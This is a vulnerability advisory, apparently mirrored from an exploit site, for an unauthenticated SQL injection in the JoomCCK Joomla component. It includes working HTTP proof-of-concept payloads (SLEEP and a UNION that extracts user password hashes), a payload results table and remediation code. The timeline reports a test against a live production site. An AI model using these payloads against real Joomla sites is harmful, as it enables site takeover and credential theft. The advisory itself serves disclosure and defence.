Share
## https://sploitus.com/exploit?id=C4E774EC-C56C-5FA2-B251-E7C102D32A61
# CVE-2026-49048 โ€” JoomCCK 6.4.0 Unauthenticated SQL Injection (CVSS 9.8)

> **CVE:** [CVE-2026-49048](https://vulners.com/cve/CVE-2026-49048)  
> **Status:** Public disclosure. Reported to Joomla Security Strike Team (JSST) โ€” Ticket #282420.

---

## Advisory Summary

| Field | Value |
|---|---|
| **Advisory ID** | JOOMCCK-2026-001 |
| **CVE** | [CVE-2026-49048](https://vulners.com/cve/CVE-2026-49048) |
| **Product** | JoomCCK (`com_joomcck`) โ€” Content Construction Kit for Joomla |
| **Vendor** | JoomCoder โ€” https://www.joomcoder.com |
| **Affected** | 6.4.0 (latest at time of discovery; earlier 6.x presumed affected) |
| **Fixed version** | None at time of writing |
| **Type** | SQL Injection (CWE-89) via Missing Authorization (CWE-862) |
| **Auth required** | **None โ€” unauthenticated, pre-auth** |
| **Severity** | **Critical โ€” CVSS 3.1 Base Score 9.8** |
| **CVSS vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **Discovered by** | Kamil Soltanov |
| **Contact** | kamilsoltanov53@gmail.com |
| **Discovery date** | 2026-06-22 |

---

## Summary

The Joomla 4/5/6 component **JoomCCK** exposes a front-end controller task (`task=tags.save`) that concatenates the user-supplied `tag` parameter directly into SQL without escaping or parameterisation. The component's custom MVC dispatcher performs **no CSRF token check and no access-control check**, making the injection reachable by a completely **unauthenticated remote attacker**.

Successful exploitation allows full read access to the Joomla database โ€” including `#__users` password hashes โ€” via UNION-based and time-based blind SQL injection, leading to **complete site compromise**.

---

## Root Cause โ€” Two Defects That Chain

### 1. Missing Authorization in Custom MVC Dispatcher (CWE-862)

`libraries/mint/mvc/controller/base.php` โ€” `MControllerBase::execute()`:

```php
public function execute($task)
{
    $this->task = $task;
    $task = !is_null($task) ? strtolower($task) : '';
    $doTask = $this->taskMap[$task];
    ...
    return $this->$doTask();   // Invoked with no checkToken(), no authorise()
}
```

The `authorise()` method in the same class is a **no-op** that unconditionally returns `true`.  
The entry point `components/com_joomcck/joomcck.php` calls `execute(input->get('task'))` **without any login, token, or ACL gate** โ†’ every public controller method is an unauthenticated task.

### 2. SQL Injection in `tags.save` (CWE-89)

`components/com_joomcck/models/tags.php` โ€” `_saveTag()`:

```php
$tag = $app->input->getString('tag');   // Joomla 'STRING' filter: strips HTML but NOT SQL quotes

$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"';  // INJECTABLE
$exist_item = $this->_getList($query);

// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id;    // INJECTABLE
```

Joomla's `STRING` input filter strips HTML tags but passes `"` unchanged โ€” the same character used as the SQL string delimiter here. Breaking out of the quoted literal injects arbitrary SQL.

---

## Proof of Concept

### Time-based Blind (no prior knowledge needed)

```
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com
```

Expected: response delayed โ‰ฅ 5 seconds (per matched row).

### UNION Data Exfiltration

```
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com
```

### Local Lab Evidence

Full PoC code and captured evidence transcript are in [`poc/`](poc/).

Key lab results:

| Payload (`tag=`) | Result |
|---|---|
| `cars` (benign) | 1 row returned โ€” normal |
| `zzz" OR "1"="1` | `"` not escaped โ†’ all rows returned (injection confirmed) |
| `zzz" UNION SELECT id,username,password FROM jos_users-- -` | Admin password hash exfiltrated |
| `zzz" OR SLEEP(3)-- -` | Response delayed **9.0 s** (3 rows ร— 3 s) |

> The lab harness uses the genuine `Joomla\Input\Input::getString()` and the verbatim `_saveTag()` query against a live MariaDB 11.8 instance.

---

## Impact

An unauthenticated remote attacker can:

- **Read** arbitrary data from the Joomla database (credentials, session tokens, PII) โ†’ full administrative takeover
- **Modify** rows in `#__js_res_tags` via the injectable `UPDATE`
- Chain with `task=tags.delete` and `task=records.copy` (also unauth โ€” same dispatcher flaw)

---

## Secondary Finding โ€” Broken Access Control (CWE-862, CVSS ~6.5)

The same dispatcher flaw exposes additional unauthenticated tasks:

| Task | Effect |
|---|---|
| `tags.delete` | Delete any tag without authentication |
| `records.copy` | Duplicate any record without authentication |
| `ajax.category_records` | Enumerate records by category |
| `ajax.tags_list` | List all tags |
| `ajax.users_filter` | Enumerate usernames |
| `ajax.loadfieldparams` | Disclose field configuration |

Note: many `records.*` tasks do enforce ACL internally via `_checkAccess()` and are **not** affected.

---

## Remediation

**1. Parameterise all queries** (Joomla query builder):

```php
$db  = $this->getDatabase();
$tag = $app->input->getString('tag');

// SELECT
$query = $db->getQuery(true)
    ->select('a.*')
    ->from($db->quoteName('#__js_res_tags', 'a'))
    ->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));

// UPDATE
$upd = $db->getQuery(true)
    ->update($db->quoteName('#__js_res_tags'))
    ->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
    ->where($db->quoteName('id') . ' = ' . (int) $id);
```

**2. Enforce authorization in the dispatcher** โ€” add `Session::checkToken()` and an ACL check (`Factory::getApplication()->getIdentity()->authorise(...)`) before all state-changing tasks, mirroring the protections already present on `files.upload`.

---

## Disclosure Timeline

| Date | Event |
|---|---|
| 2026-06-22 | Vulnerability discovered and verified via local lab PoC |
| 2026-06-22 | Advisory prepared; reported to Joomla Security Strike Team (JSST) and VEL |
| 2026-06-23 | JSST acknowledged โ€” David Jardin, Ticket #282420. Vendor (JoomCoder) coordination via JSST |
| 2026-06-25 | In-the-wild confirmation on a production Joomla site: SLEEP(5) โ†’ 115 s response; MySQL error 1222 on UNION (non-destructive, no data exfiltrated) |
| TBD | Vendor patch |
| TBD | CVE assignment |
| TBD | Public disclosure (90-day coordinated window) |

---

## References

- Vendor: https://www.joomcoder.com  
- Joomla VEL (Vulnerable Extensions List): https://vel.joomla.org  
- Joomla JSST: security@joomla.org  
- CWE-89: SQL Injection  
- CWE-862: Missing Authorization  

---

## About the Researcher

Independent security researcher.  
Contact: kamilsoltanov53@gmail.com